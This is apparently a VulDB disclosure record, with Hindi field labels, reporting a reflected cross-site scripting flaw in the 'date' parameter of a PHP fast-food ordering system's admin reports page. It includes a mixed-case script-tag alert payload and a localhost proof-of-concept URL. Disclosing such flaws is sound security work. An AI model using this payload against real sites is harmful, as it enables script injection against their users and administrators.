| शीर्षक | Ffos exists XSS |
|---|
| विवरण | /ffos/admin/reports/index.php Line 18 of index.php sends unvalidated data to a web browser, which can result in the browser executing malicious code.It is recommended to fix this vulnerability as soon as possible.
payload:\"><sCrIpT>alert(1)</sCrIpT>"
The verification and utilization of this vulnerability is very simple. It can be verified by using URL + payload：
url: http://localhost/ffos/admin/?page=reports&date=2022-08-27\%22%3E%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E |
|---|
| स्रोत | ⚠️ https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html |
|---|
| उपयोगकर्ता | 0x14d (UID 31582) |
|---|
| सबमिशन | 27/08/2022 06:21 AM (4 साल पहले) |
|---|
| संयम | 27/08/2022 10:44 AM (4 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 207425 [oretnom23 Fast Food Ordering System admin/?page=reports date क्रॉस साइट स्क्रिप्टिंग] |
|---|
| अंक | 16 |
|---|